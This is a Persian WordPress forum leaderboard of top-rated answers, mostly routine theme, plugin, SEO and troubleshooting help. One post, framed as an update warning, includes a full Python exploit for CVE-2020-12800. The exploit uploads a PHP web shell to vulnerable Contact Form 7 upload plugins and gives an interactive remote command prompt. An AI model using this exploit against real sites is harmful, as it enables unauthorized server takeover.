رفتن به مطلب

تخته امتیازات


مطالب محبوب

در حال نمایش مطالب دارای بیشترین امتیاز از زمان 23/03/99 در همه بخش ها

  1. 3 امتیاز
    سلام شما خودتون میتونین اضافه کنید مثال : <h1> دانلود اهنگ جدید </h1> این کد رو توی قسمت هدر سایت قرار بدید
  2. 2 امتیاز
    بطور خلاصه بگم باید حداقل تو پی اچ پی-وردپرس-html در حد متوسط باشین و کمی css برای پلاگین نویسی و برای قالب علاوه بر ربانهای بالا در جاوا اسکریپت و حی کویری متوسط و در css قوی باشین به طور خلاصه یک فرایند زمانبر هست
  3. 2 امتیاز
    سلام شما 100% سایتتون هک/آلوده شده. تنها راه مطمئن ریست کامل سرور سایت و نصب مجدد وردپرس و پوسته و افزونه ها هست. یادآوری و توجه: به هیچ وجه محصول نال و در مرحله دوم محصول از فروشگاه های ایرانی خرید و نصب نکنید.
  4. 2 امتیاز
    سلام و به وردپرس خوش آمدید، بهترین منبع آموزشی همون گوگل هست مقاله های بیشماری برای وردپرس موجود هست از مبتدی تا پیشرفته کافیه فقط جستجو کنید، و البته که هروقت سوالی راجب وردپرس داشتید میتونید در همین انجمن بپرسید و دوستان در سریعترین زمان به شما پاسخ خواهند داد
  5. 2 امتیاز
    سلام، به انجمن وردپرس پارسی خوش اومدید. اینجور چیزا معمولا تاثیری زیادی توی سئو نداره، اما راه اصولی و پیشنهاد شده اینه که اول یه تعدادی محتوا (یا محصول) داخل سایتتون داشته باشید، مثلا ۱۰ درصد از کل محصولاتتون رو وارد کنید، بعدش سایت رو به گوگل معرفی کنید و طبق زمان‌بندی مشخص و مرتبی بقیه‌ی محصولاتتون رو منتشر کنید، مثلا روزی ۱ محصول (یا بیشتر و کمتر) ولی مرتب و در بازه‌های زمانی یکسان اینکار رو انجام بدید (حتی ساعتش رو هم مد نظر داشته باشید) کپی نکردن و... هم که جزو بدیهیات هست و مطمئنا باید رعایت کنید.
  6. 2 امتیاز
    سلام وارد مسیر زیر بشید phpMyAdmin>DatabaseUser>wp_usermeta در تب meta_key روی edit فایل wp_capabilities کلیک کنید ( برای هر ایدی یک wp_capabilities وجود دارد ) توجه داشته باشید که ایدی هر کاربر مانند پست های وردپرس باهم فرق میکنه ایدی مدیر اصلی 1 هست در بخش meta_value کد زیر را جایگزین کنید a:1:{s:13:"administrator";b:1;} لطفا قبل از انجام این کار ها از دیتابیستون نسخه پشتیبان بگیرید
  7. 2 امتیاز
    بیینید شما به کلاس menu-container-new یک clip-path اضافه میکنید که و از طریق کد بالا بهش میگید که کی اضافه بشه و کی حذف بشه این چند نمونه بسیار خوب هست که ببینید چه چیزهایی میشه باهاش ساخت https://codepen.io/Deeply/pen/zYYbXRz https://codepen.io/chriscoyier/pen/wBKPOm https://codepen.io/GhostRider/pen/tEcCq
  8. 2 امتیاز
    شما وارد یکی از دسته ها بشید میبینید که زیر دسته های او دسته رو نشون میده برای صفحه اصلی هم از یک کد html ساده استفاده کنید بهتره نام دسته هاتون رو بذارید و بهشون لینک بدید <div class="category"> <ul> <li><a href="http://yourdomain.com/#">Cat1</a></li> <li><a href="http://yourdomain.com/#">Cat2</a></li> <li><a href="http://yourdomain.com/#">Cat3</a></li> <li><a href="http://yourdomain.com/#">Cat4</a></li> </ul> </div>
  9. 2 امتیاز
    میشه طبق این کد نمونه‌ای که فرستادم کد بدید؟ ببینید با این قطعه کارتون راه میوفته
  10. 2 امتیاز
    سلام در واقع این مشکل نیست و بک قابلیت در وردپرس هست در وردپرس شما هر عکسی رو که آپلود میکنید به 3 عکس تبدیل میشه (کوچک، میانه، بزرگ) فرض کنید شما در sidebar قالبتون آخرین پست ها رو با تصاویر شاخص نشون میدید خب بهتره که در اونجا از تصویر کوچک استفاده بشه تا حجم کمتری داشته باشه و مثال در بخش اصلی پست میخواین که سایز بزرگ استفاده بشه میاین از اندازه میانه یا بزرگ استفاده میکنید. حالا شما تعدادش رفته بالاتر دلیلش چیه؟ یکی برمیگرده به فایل function قالب شما که ممکنه در اونجا تصاویر بیشتری اضافه شده باشه دلیل دیگه هم افزونه ها هستن، افزونه هایی مثل گالری و اسلایدر ها معمولا میان تصاویر بیشتری به قالبتون اضافه میکنن تا اندازه عکسهاتون متناسب با استایل افزونه باشه. برای حل این مشکل داخل افزونه ها و یا function قالب به دنبال کد زیر باشید add_image_size قبل از هر کاری نسخه پشتیبان رو فراموش نکنید.
  11. 1 امتیاز
    سلام دوست عزیز ویژگی باید براش تعریف کنید. مثلا ویژگی های زیر رو با نامک های اینگلیسی تعریف کنید. نامک قیمت یک عدد: price-for-one نامک قیمت یک کارتن: price-for-box و برای این که بتونید ویژگی ها رو چاپ کنید میتونید از کد زیر استفاده کنید. <?php add_action('woocommerce_after_shop_loop_item_title','displaying_product_attributes'); function displaying_product_attributes() { global $product; $picemr = $product->get_attribute('price-for-one'); //نامکی که تعریف کردید مثلا برای ویژگی قیمت یک عدد رو داخل پرانتز مینویسید $picecsn = $product->get_attribute('price-for-box'); if( ! empty( $picecsn ) ){ echo '<span class="yourclass">قیمت یک عدد: </span>' ,'<span class="yourclass">' .$picecsn. '</span>' , '<span class="yourclass"> تومان </span><br>'; echo '<span class="yourclass">قیمت یک کارتن: </span>' ,'<span class="yourclass">' .$picemr. '</span>' , '<span class="yourclass"> تومان </span><br>'; } }?>
  12. 1 امتیاز
    نیاز به نصب افزونه نیست از تایپیک زیر استفاده کنید
  13. 1 امتیاز
    بعید میدونم در این حد سفارشی افزونه ای باشه اگه میخواید خیلی سفارشیش کنید بدید براتون طراحی کنن
  14. 1 امتیاز
    سلام میتونید از این دوتا افزونه استفاده کنید https://wordpress.org/plugins/rich-text-excerpts/ https://wordpress.org/plugins/advanced-post-excerpt/ یا از طریق اضافه کردن کد زیر به functions.php unction tinymce_excerpt_js(){ ?> <script type="text/javascript"> jQuery(document).ready( tinymce_excerpt ); function tinymce_excerpt() { jQuery("#excerpt").addClass("mceEditor"); tinyMCE.execCommand("mceAddControl", false, "excerpt"); tinyMCE.onAddEditor.add(function(mgr,ed) { if(ed.id=="excerpt"){ ed.settings.theme_advanced_buttons2 =""; ed.settings.theme_advanced_buttons1 = "bold,italic,underline,seperator,justifyleft,justifycenter,justifyright,separator,link,unlink,seperator,pastetext,pasteword,removeformat,seperator,undo,redo,seperator,spellchecker,"; } }); } </script> <?php } add_action( ‘admin_head-post.php’, ‘tinymce_excerpt_js’); add_action( ‘admin_head-post-new.php’, ‘tinymce_excerpt_js’); function tinymce_css(){ ?> <style type=’text/css’> #postexcerpt .inside{margin:0;padding:0;background:#fff;} #postexcerpt .inside p{padding:0px 0px 5px 10px;} #postexcerpt #excerpteditorcontainer { border-style: solid; padding: 0; } </style> <?php } add_action( ‘admin_head-post.php’, ‘tinymce_css’); add_action( ‘admin_head-post-new.php’, ‘tinymce_css’); function prepareExcerptForEdit($e){ return nl2br($e); } add_action( ‘excerpt_edit_pre’,’prepareExcerptForEdit’); یا کد زیر به functions.php add_action( 'add_meta_boxes', array ( 'T5_Richtext_Excerpt', 'switch_boxes' ) ); /** * Replaces the default excerpt editor with TinyMCE. */ class T5_Richtext_Excerpt { /** * Replaces the meta boxes. * * @return void */ public static function switch_boxes() { if ( ! post_type_supports( $GLOBALS['post']->post_type, 'excerpt' ) ) { return; } remove_meta_box( 'postexcerpt' // ID , '' // Screen, empty to support all post types , 'normal' // Context ); add_meta_box( 'postexcerpt2' // Reusing just 'postexcerpt' doesn't work. , __( 'Excerpt' ) // Title , array ( __CLASS__, 'show' ) // Display function , null // Screen, we use all screens with meta boxes. , 'normal' // Context , 'core' // Priority ); } /** * Output for the meta box. * * @param object $post * @return void */ public static function show( $post ) { ?> <label class="screen-reader-text" for="excerpt"><?php _e( 'Excerpt' ) ?></label> <?php // We use the default name, 'excerpt', so we don’t have to care about // saving, other filters etc. wp_editor( self::unescape( $post->post_excerpt ), 'excerpt', array ( 'textarea_rows' => 15 , 'media_buttons' => FALSE , 'teeny' => TRUE , 'tinymce' => TRUE ) ); } /** * The excerpt is escaped usually. This breaks the HTML editor. * * @param string $str * @return string */ public static function unescape( $str ) { return str_replace( array ( '&lt;', '&gt;', '&quot;', '&amp;', '&nbsp;', '&amp;nbsp;' ) , array ( '<', '>', '"', '&', ' ', ' ' ) , $str ); } } یا استفاده از افزونه Advanced Custom Fields و ایجاد یک زمینه دلخواه به جای چکیده مطالب پیشفرض https://wordpress.org/plugins/advanced-custom-fields/
  15. 1 امتیاز
    سلام هر سه افزونه مدتهاست اپدیت نشدن و کارآمد نیستن اما یه راه حلی پیدا کردم اینجا میگم تا کسایی اگه این مشکل رو داشتن و بعدا از طریق سرچ وارد اینجا شدن بتونن مشکلشون رو حل کنن: کلید این مشکل تو افزونه Featured Image from URL بود کار این افزونه اینه که یه گزینه به زیر باکس تصویر شاخص اضافه میکنید. توش میتونید لینک اپلود شده عکس رو بذارید. یعنی عکس رو تو هاست دانلودتون اپلود کنید و لینکشو تو این بخش بذارید تا به عنوان تصویر شاخص نشون بده. نمونه ش الان تو صفحه اصلی سایت من هست: دانلود کتاب اون تصاویر شاخصی که در باکس» تازه ترین کتابها» هست رو لینکشو نگاه کنید میبینید در هاست دانلودم اپلود شده
  16. 1 امتیاز
    سلام باید اسم متای بازدید رو پیدا و براساس اون تغییر بدید یا برای پوسته جدید هم از اون استفاده کنین.
  17. 1 امتیاز
    همین کد خودتون هست دیگه فقط همون یک خط رو اضافه کنید به این شکل $args=array( 'category__in' => $category_ids, 'post__not_in' => array($post->ID), 'posts_per_page'=> 4, 'meta_key' => 'sale_sakht', // فقط این خط رو اضافه کنید 'caller_get_posts'=>1 );
  18. 1 امتیاز
    درود... چارچوب زیر را امتحان کنید.. https://gohugo.io/
  19. 1 امتیاز
    سلام شکل های مختلفی میشه استفاده کرد در حال حاضر این کد 10 پست رو که دارای این متا هستند رو نشون میده اگر چیزی بیشتر از این نیاز دارید بیشتر توضیح بدید، اطلاعات بیشتر https://codex.wordpress.org/Class_Reference/WP_Meta_Query
  20. 1 امتیاز
    سلام فقط منبع اصلی: https://developer.wordpress.org/ از منابع فارسی توصیه اکید میکنم استفاده نکنید.
  21. 1 امتیاز
    درود... برای شروع حرفه ای سایت های فرانش و ویلرن نیازهای شما را پوشش می دهد: 1. https://welearn.site/ 2. https://faranesh.com/
  22. 1 امتیاز
    اگر تمامی تنظیمات رو به درستی انجام دادید ممکن هست یکی از افزونه ها باعث بروز این مشکل شده باشه تمامی افزونه ها رو غیر فعال کنید و مجدد تست کنید
  23. 1 امتیاز
    خب شما چرا بخواین عکس های شاخص رو اضافه کنید، بهتر نیست از زمینه های دلخواه استفاده کنید و هر تعداد عکس که دلتون خواست برای اسلایدر هر پست بارگذاری کنید ؟
  24. 1 امتیاز
    با مرورگر دیگه امتحان کنید یا کش مرورگر رو خالی کنید ببینید درست میشه یا نه
  25. 1 امتیاز
    تگ h1 بصورت معمول باید عنوان وبسایت باشه شما هروقت قالب رو بروز کردین دوباره همین کارو انجام بدید
  26. 1 امتیاز
    کلا برای همچین چیز ساده ای نیاز نیست افزونه نصب کنید اشتباهه فقط سایتو سنگین میکنید که کاملا اشتباهه. کلاس تارگت این کارو انجام میده تو قالبتون هرجا که خواستین لینکه چیزی درون همون صفحه باز شه از target=_parent استفاده کنید
  27. 1 امتیاز
    دوست عزیز category و page (برگه) باهم فرق میکنند شما اول مطمئن بشید که اگر برگه ساختید اونو با page و اگه کتگوری ساختید اونو با category و بعدش خط تیره و اسم اون پست یا آیدیش آدرس دهی کنید. برای مثال شما یک پیج درست کردید با هر اسمی و نامک اون رو گذاشتید mahsool حالا برای درست کردن پیج اون باید فایل پی اچ پی تون اسمی که تو قالب میگیره اینجوری باشه: page-mahsool.php یا بجای mahsool آیدیشو بذارید ولی بهتره که نامکشو بذارید چون سیستم وردپرس به این شکله که اول نامک رو چک میکنه و اگر وجود نداشت میره آیدی رو چک میکنه و اگر اون هم نبود میره صفحه خود پیج رو لود میکنه و اگر باز اون هم نبود میره از صفحه ایندکس استفاده میکنه.
  28. 1 امتیاز
    بهتره که از زمینه های دلخواه استفاده کنید افزونه acf رو نصب کنید و و طبق گفته دوستمون قبل از the_content زمینه دلخواهتون رو اضافه کنید استفاده از زمینه این خوبی رو داره که شما نام سایتی رو که منبع پستتون هست رو برای هر پست میتونید تغییر بدید و اگر در یک پست ازش استفاده نکردید به گزارش (نام سایت) رو نشون نمیده <?php if( get_field('نام زمینه') ) {the_field('field');} else {//هرچیزی } the_content(); ?>
  29. 1 امتیاز
    سلام داخل تنظیمات عمومی ساعت و تاریخ رو روی تهران قرار بدید اگر از افزونه وردپرس فارسی هم استفاده میکنید یک گزینه داره نوشته همهانگ سازی ساعت و تاریخ اون تیکو بردارید
  30. 1 امتیاز
    سلام فک کنم با این قطعه کد بتونید اینکارو انجام بدید بسته به نیازتون باید تغییرش بدید function test_script_method() { global $wp_query; if ( "نام پست تایپ" != get_post_type() && !(is_page('home')) ) { wp_register_script( 'jq', '/wp-content/themes/test/js/script.js'); // مسیر فایل js wp_enqueue_script( 'jq' ); } } add_action('wp_enqueue_scripts', 'test_script_method');
  31. 1 امتیاز
    سلام خدمت شما https://wordpress.org/plugins/limit-comments-and-word-count/ با این کد هم اگر یک مقدار شخصی سازیش کنید میشه این کار رو انجام داد global $current_user,$post; $args = array('user_id' => $current_user->ID,'post_id' => $post->ID); $usercomment = get_comments($args); if(count($usercomment) >= 1){ echo 'disabled'; } else { comment_form(); }
  32. 1 امتیاز
    شما کافیه در فایل archive.php بیرون از حلقه یعنی قبل از while ( have_posts() ) : the_post(); کد زیر رو قرار بدید و بهش استایل دلخواهتون رو بدید $params = array( 'parent' => get_queried_object_id(), 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false ); if ( count( get_categories( $params ) ) ) { wp_list_categories( $params ); } کدتون تقریبا به این شکل میشه // نمایش دسته بندی کوچکتر $params = array( 'parent' => get_queried_object_id(), 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false ); if ( count( get_categories( $params ) ) ) { wp_list_categories( $params ); } // پایان while ( have_posts() ) : the_post();
  33. 1 امتیاز
    سلام سوال این هست که قراره مشتریان خاص چطور تعریف بشن این مهمتره
  34. 1 امتیاز
    سلام فقط میخواید لیست دسته ها رو نشون بدید یا وقتی وارد دسته کوچک شدید پستهای اون دسته رو هم نشون بده ؟
  35. 1 امتیاز
    دسترسی رو برام پیام خصوصی کنید تا چک کنم
  36. 1 امتیاز
    سلام الان همین قالب رو سایتتون هست ؟
  37. 1 امتیاز
    سلام خیلی خوشحال شدیم قدم رنجه فرمودین https://wordpress.org/themes/ رایگان انتخاب قالب بسته به سلیقتون داره
  38. 1 امتیاز
    علت : هربار که تصویری به سایت تون اضافه میکنید ، وردپرس در اندازه های مختلف عکس و آپلود میکنه. راه حل : در قسمت تنظیمات -> رسانه . اعدادی که در کادرها می بینید و 0 کنید و تیک ها رو هم بردارید.
  39. 1 امتیاز
  40. 1 امتیاز
    سلام بستگی به قالبی که استفاده میکنید داره ولی خب در استایلتون دنبال کدهایی به این شکل باشید و اونها رو حذف کنید @media (max-width: 979px) { body{} ... } حتما یک نسخه ئشتیبان از استایل قالبتون بگیرید. بازم میگم بسته به نوع قالب داره
  41. 1 امتیاز
  42. 1 امتیاز
    سلام من میخوام تمام ایمیل هایی که برام ثبت میشه توی سایتم رو بتونم براشون یک ایمیل تبلیغاتی بفرستم. افزونه خاصی وجود داره؟ من اولین بارمه میخوام انجام بدم اگر امکانش هست یک توضیحات بیشتری بدید ممنونم ازتون
  43. 1 امتیاز
  44. 1 امتیاز
    امروز ديدم يه باگ خطرناک از نوع Remote Code Execution يعنی اجرای دستور از راه دور گزارش شده اگه از اين افزونه استفاده می کنيد حتماً آپديت کنيدش !!!! اکسپلويت اين حفره امنيتی هم اينجا ميزارم تا ببينيد #!/usr/bin/python import string import random import requests from bs4 import BeautifulSoup import sys payloadurl="" def RecurseLinks(base,file): headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"} f = requests.get(base, headers=headers) soup = BeautifulSoup(f.content, "html.parser") for root in soup.find_all("a"): href = root.get("href") if (href.startswith("/")): do = "nothing" elif (href.endswith("/")): RecurseLinks(base + href, file) else: if file in href: print ("\n[+] File Found --> " + base + href) global payloadurl payloadurl = (base+href) def main(): #os.system('cls') print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution") print("@amartinsec --> Twitter\nCVE:2020-12800\n") #Build The Request #Generate random URL for filename file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6)) urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ") #Finding the nonce used in the Ajax security string print ("\n[+] Searching for security string nonce") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} homepage = requests.get(urlinput,headers=headers) homepage = homepage.text homepage = homepage.split("ajax_nonce\":\"",1)[1] securitykey = homepage[:10] print("[+] Found security string --> " + securitykey) url = urlinput + "/wp-admin/admin-ajax.php" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601", } data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \ "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \ "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \ "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \ "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \ "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \ "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \ "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \ "\r\n-----------------------------350278735926454076983690555601--\r\n" print "\n[+] Sending payload to target" response = requests.post(url, headers=headers, data=data) if "200" in str(response): print("[+] Looks like a successful file upload!\n") elif "403" in str(response): print("\nFile Upload Failed") print("403 in response. Check security string") sys.exit(1) else: print("File upload failed. Try the manual way with Burp") sys.exit(1) print("[+] Crawling for the uploaded file. This may take a minute...") print("[+] Searching for " + file + ".php") RecurseLinks(urlinput + "/wp-content/uploads/",file) if payloadurl == "": print("Can't find the file on the web server") print("Try the manual method") sys.exit(1) #If all goes well, we can now send requests for RCE print("[+] Success\n") while True: cmd= raw_input("[+] CMD: ") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} request = requests.get(payloadurl + "?e=" + cmd, headers=headers) print request.text if __name__ == "__main__": main() من هر روز تمام لاگ های وبسايت و سرورم رو نگاه می کنم تا اگه چيز مشکوکی بود برّسی کنم ! يکی هم هست که داره تلاش می کنه ... ولی بدجوری دستش کوتاه بيچاره به هر حال ديدم با اينکه من اين افزونه رو نصب ندارم ولی تلاش کرده اين حفره رو رو سايت من اکسپلويت کنه بروز کار ميکنه حيوونی ...
  45. 1 امتیاز
    مشکلات متعدد میتونه داشته باشه، جاوا اسکریپت خطایی در کنسول مشاهده نمیشه؟ بهتره آدرس رو قرار بدین تا بشه بررسی کرد.
  46. 1 امتیاز
    پیوند یکتا یا permalink چیست ؟ permalink یا permanentlink چیست ؟ permalink که با نام پیوند یکتا نیز شناخته شده است از ترکیب دو کلمه که permanent و link میباشد و معنی آنها پیوند یا ارتباط ثابت و دائمی می باشد استفاده شده است. نحوه آدرس دهی پیوند یکتا یا permalink این است که به یک آدرس صفحه یا مطلب اشاره دارد . permalink یا پیوند یکتا در ورد پرس به صورت پیش فرض به صورت زیر است : http://www.example.com/?p=1 آدرس بالا ظاهر زیبایی برای کاربر ندارد و برای کاربر مفهمومی نیست و آدرس مطلب رو به صورت نامفهوم نشان می دهد . شاید کاربر بخواهد در جریان این باشد که مطلب از کدام دسته است یا اسم دسته را هم ببیند . حال سوال این است که آیا میتوان یک آدرس نازیبا را به یک فرم و شکل ایده آل تغییر داد ؟ جواب بله است . در ادامه به این موضوع خواهیم پرداخت دلیل استفادهازpermalink چیست؟ همانگونه که بیان شده پیوندهای یکتا به یک مطلب و یک آدرس خاص اشاره می کند . و تا هر زمان که این مطلب در سایت وجود داشته باشد آن آدرس هم وجود دارد . پس کاربر بدون هیچ ترسی می تواند از آدرس ها در وبلاگ ها استفاده کند. ارتباطpermalink وseo درچیست؟ permalinks یا پیوندهای یکتا تاثیر مستقیم بر روی سئو سایت دارند و همین نکته باعث گرفتن rank بالاتری در گوگل دارد . زمانی که کاربر مطلبی را در گوگل سرچ میکند در واقع با سه بخش عنوان وپیوند یکتا یا permalink و توضیحات مواجه می شوددر واقع هر چه از کلمات کلیدی بهتری در عنوان و پیوند یکتا استفاده کنیم سایت ما زودتر به صفحه اول گوگل راه پیدا میکند. مراحل ایجاد ساختار پیوند یکتا برای ایجاد ساختار پیوند یکتا در ورد پرس در قسمت تنظیمات در صفحه پیشخوان 5 مرحله باید طی شود که اولین مرحله همان آدرس پیشفرض یعنی http://www.example.com/?p=1 بود. دومین مرحله را به ساختار " روز و نام " پیوندهای یکتا بر اساس سال ، ماه ، روز و نام پست ایجاد میشود. http://www.example.com/2015/05/04/post-title سومین مرحله که ماه و نام نیز نام دارد و به سال ، ماه و نام نوشته نیز مشهور است. http://www.example.com/2015/06/post-title چهارمین مرحله این ساختار که به ساختار عددی نیز معروف است در واقع به عنوان شماره شناسنامه این پست وجود دارد. در واقع این آدرس فقط و فقط در شرایط خیلی خیلی خاص مورد استفاده قرار میگیرد و اصلا نباید بوسیله وردپرس به عنوان پیوند یکتا مورد استفاده باشد. http://www.example.com/archive/123 پنجمین مرحله که بسیار مناسب وبلاگهایی است که مطالب کمی در آن قرار میگیرد می باشد به ساختار نوشته معروف است . http://www.example.com/post-title اما یک ساختار وجود دارد که به ساختار دلخواه یا سفارشی برای پیوند یکتا معروف است همانطور که از نام آن پیداست میشود از برچسبها و یا ویزگی های سفارشی برای پیوند یکتا مورد نظر استفاده کرد. %year% به سالی که مطلب منتشر شد اشاره دارد مثلا 1396 %monthnum% به ماهی که مطلب منتشر شد اشاره دارد مثلا 05 %day% به روزی که مطلب منتشر شد اشاره دارد مثلا 24 %minute% به دقیقه ای که مطلب منتشر شد اشاره دارد مثلا 30 %second% به ثانیه ای که مطلب منتشر شد اشاره دارد مثلا 50 %post-id% به شماره شناسه یکتای پست اشاره دارد مثلا 123 %postname% به معنی نام نوشته میباشد و زمانی که در حال ثبت یک نوشته هستید با کلیک بر روی قسمت ویرایش پیوند یکتا می توانید اسم و آدرس نوشته را تغییر دهید. example.com/everything-about-permalink-structure %category% این گزینه مربوط به اسم دسته بندی مطلبی است که در حال منتشر کردن آن هستید . یعنی اسم دسته بندی رو درحالت پیوند یکتا به نمایش در می آورد example.com/wordpress
  47. 1 امتیاز
    خطای 500 یک خطای سرور عمومی است. چندین گزینه است که می‌تواند به یک سرور با وضعیت مشخصی پاسخ دهد. برخلاف تصور عموم به وجود آمدن خطای 500 در وردپرس یک اتفاق خوب است زیرا به شما نشان می‌دهد که سرور دچار محدودیت است. حال در این مقاله به شما می‌گوییم که این خطا از جانب کدام بخش‌ها است و چگونه حل می‌شود. 1- وجود خطا در فایل htaccess. اولین موردی که می‌توانیم در بروز این خطا به آن شک کنیم همین فایل htaccess. است. پس به شما هم پیشنهاد می‌کنیم در همین ابتدا اول به سراغ این فایل بروید. اضافه شدن یک کارکتر اضافی به فایل htaccess. می‌تواند باعث بروز خطای 500 در وردپرس شود. در این مواقع باید سعی کنید فایل htaccess. جدیدی را بسازید. برای ساخت آن کافیست فایل فعلی را حذف کرده، سپس به قسمت پیوندهای یکتا بروید و بر روی ذخیره تغییرات کلیک کنید تا مجدد ساخته شود. 2- وجود خطا در فایل wp-config.php زمانی که دستور یا کدی در این فایل ایجاد شود، ممکن است با خطای 500 در وردپرس مواجه شوید. با مشاهده error logs می‌توانید خطای موجود در این فایل را یافته و به حال آن بپردازید. چنانچه از بخش error logs نمی‌توانید کاری کنید، به راحتی با مراجعه به فایل wp-config.php می‌توانید کدهای ناشناخته را حذف کنید. (البته اگر به این فایل و کدها مسلط هستید). 3- مجوزهای ناقص پرونده اگر یک اسکریپت php باید در یک فولدر قرار گیرد اما امکان اجرای php را ندارد، شما را با خطای 500 در وردپرس رو به رو می‌کند. این مشکل به راحتی با تغییر سطح دسترسی و مجوز آن پوشه حل می‌شود. این مورد در هاست و با تغییر سطح دسترسی امکان‌پذیر است. 4- وقفه در کار سرور یا اسکریپت وقفه یا از کار افتادن سرور یا اسکریپتی در سایت مهم‌ترین دلیل به وجود آمدن خطای 500 در وردپرس است. معمولا این اتفاق وسط انجام یک فعالیت پیش می‌آید. زمانی که با این مشکل مواجه می‌شوید پیشنهاد می‌شود که بصورت دستی حافظه php را افزایش دهید. این کار در php.ini ، wp-config.php و htaccess. انجام می‌شود. چنانچه خودتان نتوانستید این کار را انجام دهید به پشتیبانی سرور اطلاع داده تا این مشکل را برایتان برطرف کند. 5- خطای php گاهی اوقات خطای 500 فقط و فقط در هنگام ورود به پیشخوان وردپرس مشاهده می‌شود. در اینجا ممکن است شوکه شوید که چگونه سایت باز می‌شود اما پیشخوان وردپرس با چنین خطایی مواجه است؟! اینجا یعنی مشکل در حافظه php است. تکلیف چیست؟ باید این حافظه را افزایش دهید و این‌کار با کمک فایل php.ini امکان‌پذیر است. قبلا آموزش افزایش حافظه با php.ini را خدمت شما گفتیم به همین دلیل از توضیحات اضافه پرهیز می‌کنیم و از شما دعوت می‌کنیم به آموزش مربوطه مراجعه کنید تا اگر مشکل شما در این زمینه است، به راحتی آن را در عرض چند ثانیه رفع نمایید. منبع https://hamyarwp.com/wordpress-internal-server-error/ https://kitwp.com/internal-server-error-500/
  48. 1 امتیاز
    سلام به انجمن خوش اومدین پوسته وودمارت پرمیوم هست و اگر از تم فارست خریداری کردید بهتون پشتیبانی میدن.
  49. 1 امتیاز
    توی فانکشن قالب های وردپرس برای اینکه تصاویر به درستی در همه بخش ها نمایش داده بشه و بهینه باشه برای لود هر صفحه از تابع add_image_size استفاده میشه داخل فانکشن چک کنید میتونید ببینید چه سایزهایی برای قالبتون تنظیم شده و برای چه قسمتایی هست و بعد متناب با نیازتون تغییر بدید ابتدا باید این تغییرات رو انجام بدید بعد میتونید عکسها تو سایزهایی که نمیخواید رو حذف کنید ، توی رسانه نمیشه این کار رو کرد ، باید یا پوشه آپلود رو دانلود کنید و سایزها رو جستجو بزنید و یک هو پاکشون کنید یا اینکه افزونه های مدیریت تصاویر نصب کنید در ضمن اگر بخش مدیریت سایز تصاویر داره فکر کنم باید غیر فعالش کنید به نظرم این امکان وردپرس هم یه مزیته هم یه معضل ، مزینه چون در همه بخشهای سایت تصاویر برش میخورن و بهینه هست و معضل که دقیقا هاست رو پر میکنن
  50. 1 امتیاز
    وردپرس یک سیستم مدیریت محتوا قدرتمند می باشد . در اینجا من می خوام 10 پلاگین کاربردی و لازم جهت هر بار نصب وردپرس رو به شما معرفی که این پلاگینهای کابردی جز پلاگینهای favorite من برای هر بار نصب به حساب میان : Akismet : یک پلاگین فوق العاده برای جلوگیری از کامنت‌های اسپم می‌باشد. من از وقتی کهاز این پلاگین استفاده می‌کنم کاملا از شر کامنت‌های اسپم خلاص شده‌ام. بعداز نصب این پلاگین باید در وردپرس. کام ثبت نام کنید و API key خودتان را به اکیسمت بدهید تا فعال شود. Maintenance Mode : این افزونه برای مواقعی ضروری است که میخواهید قالب سایتتان را ویرایش کنید یا … با فعال کردن این افزونه میتوانید با نقش مدیر به ویرایش قالب خود بپردازید. WP-PageNavi : این افزونه حالت صفحه‌بندی پیشرفته را به سایت وردپرسی شما می‌افزاید. All in One SEO Pack : افزونه ای جهت بهینه کردن وبسایت وردپرسی شما برای موتورهای جستجو به صورت خودکار WP Super Cache : این افزونه مقدار کش سایت شما را تنظیم نموده و فایل های کش و کوکی را به صورت Gzip درمیآورد که باعث لود سریع تر در دفعات بعدی میشود Google XML Sitemaps : این افزونه، با ایجاد یک نقشه سایت ویژه باعث می‌شود موتورهای جستجو آسانتر صفحات وب سایت شما را فهرست کنند. Contact Form 7 : افزونه‌ای ساده و در عین حال انعطاف پذیر برای ساختن فرم‌های تماس برای ارتباط کاربران با شما Broken Link Checker : بررسی لینک های شکسته و خراب WP-DB-Backup : همونطور که از اسمش بر میاد برای پشتیبان گیری مستمر بدون دخالت شما از پایگاه داده ی شما است و به این صورت باعث افزایش امنیت اطلاعات و نوشته های شما در وردپرس می شه . SexyBookmarks : این افزونه جالب به شما این امکان رو می ده که در پست ها و برگه های سایت وردپرسی خودتون یک نوار اشتراک گذاری داشته باشید. البته این افزونه بسیار قدرتمند هست و حدود ۱۰۰ سایت رو در لیست خودش داره تا کاربر بتونه با استفاده از اونها پست هاش رو به اشتراک بذاره! اینها 10 پلاگین کاربردی هستن که من بعد از هر بار نصب وردپرس ازشون استفاده میکنم و توضیحات تکمیلی رو میتونید در صفخه اختصاصیشون مشاهده کنید حتما میگین پلاگینهای دیگه ایی هم هستن که کاربردیتر 